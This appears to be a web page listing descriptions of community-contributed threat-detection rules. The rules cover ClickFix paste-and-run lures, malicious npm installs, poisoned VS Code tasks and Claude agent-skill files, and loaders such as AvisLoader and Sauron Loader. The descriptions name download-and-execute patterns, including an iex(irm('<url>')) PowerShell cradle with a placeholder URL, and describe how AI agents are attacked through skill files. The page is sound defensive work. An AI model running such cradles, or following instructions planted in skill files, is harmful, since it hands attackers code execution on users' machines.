Detections
Explore public detection logic contributed by the community across SIEM and rule languages.
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FileFix loader chains abuse trusted code-hosting platforms like Bitbucket/GitHub to host staged payload components, exploiting domain trust to evade network detection.
Detects the spawning of script interpreters or loaders by Visual Studio Code (Code.exe) shortly after a workspace is initialized, specifically looking for command-line arguments referencing .vscode or tasks.json. This behavior is consistent with exploitation techniques where a user accepts a 'Trust Workspace' prompt, allowing malicious tasks defined in a repository's .vscode folder to execute.
This rule detects scenarios where a node-based package manager (npm or npx) executes an 'install' command, which is immediately followed by the spawning of unexpected child processes such as interpreters (python, powershell, cmd, wscript, cscript, mshta) or network tools (curl). This behavior is characteristic of malicious npm packages used in supply chain attacks to deliver secondary payloads like BeaverTail, InvisibleFerret, or similar threats.
Detects instances where a Claude process accesses a 'SKILL.md' file, followed closely by a suspicious command execution on the same device. The rule specifically targets command-line activity that involves encoding, download-and-execute patterns, staging in sensitive directories, or communication with suspicious domains/IPs, which is indicative of a supply-chain or poisoned agent-skill file attack.
Detects trojanized versions of Zoom installers that bundle legitimate application installers alongside malicious components including a VBScript persistence mechanism (OneDriveUpdateScheduler) and the VelvetCake PowerShell downloader/C2 framework.
This rule detects a suspicious process chain where wscript.exe or cscript.exe (executing a VBScript file) initiates a PowerShell process with arguments typically used for downloading external content (e.g., Invoke-WebRequest, Net.WebClient), followed by subsequent actions involving remote management tools or installation packages (e.g., MSI files, ConnectWise, ScreenConnect, GoToResolve). This behavior is characteristic of initial access or secondary payload delivery via malicious scripts.
Detects the execution of PowerShell via WScript or CScript scripts that contain command line arguments indicative of a file download cradle (e.g., Invoke-WebRequest, IWR, Net.WebClient, DownloadFile, DownloadString, or BITS transfer). This pattern is frequently used by adversaries to download and execute second-stage payloads or RMM agents.
Detects the creation of multiple suspicious scheduled tasks using schtasks.exe initiated by scripting engines (wscript.exe, cscript.exe). The rule filters for specific task names associated with known malicious patterns and XML definition files located in a specific directory path, identifying potential automated persistence or malware installation behavior.
Detects HTTP proxy requests for script files (.hta, .js, .ps1) where the HTTP referer indicates the request originated from a search engine or known ad/syndication network. This behavior is highly indicative of 'ClickFix' phishing campaigns, where users are lured from malicious search results or advertisements to download and execute scripts.
Detects the spawning of common administrative or script-execution tools as child processes from SharePoint-related processes (w3wp.exe or OWSTIMER.EXE). This behavior is often indicative of exploitation attempts targeting SharePoint application pools to execute arbitrary code.
Detects potential manual paste-and-run execution patterns where a shell or interpreter is launched directly from Windows Explorer (e.g., via the Run dialog or manual clipboard paste), correlated with either command-line references to or outbound network connections towards Cloudflare Tunnel services (trycloudflare.com, workers.dev). The rule specifically identifies one-off execution events by excluding cases where explorer.exe spawns multiple child processes simultaneously, indicating non-routine shell behavior.
This rule detects a specific persistence technique used by AvisLoader malware. It monitors for the creation of a .lnk.backup file alongside a corresponding .lnk shortcut modification in common shell locations (Desktop, Taskbar, etc.), coupled with the execution of wscript.exe or cscript.exe referencing the 'VLCAssistant' VBScript within a short time window. This sequence indicates an attempt to persist malicious activity by backing up existing shortcuts and replacing them with a launcher for the AvisLoader payload.
This rule detects a specific persistence technique used by AvisLoader malware. It monitors for the creation of a .lnk.backup file alongside a corresponding .lnk shortcut modification in common shell locations (Desktop, Taskbar, etc.), coupled with the execution of wscript.exe or cscript.exe referencing the 'VLCAssistant' VBScript within a short time window. This sequence indicates an attempt to persist malicious activity by backing up existing shortcuts and replacing them with a launcher for the AvisLoader payload.
Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.
Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.
Detects the spawning of suspicious child processes (powershell, cmd, node, wscript, cscript) by dependency management utilities (npm, go, terraform). Attackers often leverage malicious packages or configurations during the build or install phase to execute arbitrary code. The rule also monitors for suspicious command-line execution patterns, such as detached 'go run' operations, which may indicate malicious activity.
This rule detects potentially malicious activity involving the execution of Node.js scripts initiated by system script proxies (wscript, cscript, msiexec) within specific paths, often associated with subsequent installation of VBScript agents or direct network communication with a known command-and-control IP address.
This rule detects the 'ClickFix' attack pattern, where an adversary tricks a user into copying and pasting a malicious command into a terminal. The command typically involves using 'base64 -D' to decode an attacker-supplied blob directly into a bash interpreter, often initiated by a Terminal emulator and containing strings related to fake reCAPTCHA or robot verification.
Detects execution of staged payloads within the %TEMP% directory initiated by processes associated with the Sauron Loader (rnpkeys.exe or processes running from ProgramData\keyroll). The rule monitors for common living-off-the-land binaries (rundll32.exe, regsvr32.exe, msiexec.exe, cmd.exe, powershell.exe, wscript.exe) acting as task handlers for the loader.
Detects execution of staged payloads within the %TEMP% directory initiated by processes associated with the Sauron Loader (rnpkeys.exe or processes running from ProgramData\keyroll). The rule monitors for common living-off-the-land binaries (rundll32.exe, regsvr32.exe, msiexec.exe, cmd.exe, powershell.exe, wscript.exe) acting as task handlers for the loader.
Detects the Sauron Loader malware utilizing the process rnpkeys.exe as a parent to spawn common LOLBins (Living-off-the-Land Binaries) or execute payloads from temporary directories. This behavior is indicative of a secondary stage execution chain typical of the Sauron Loader.
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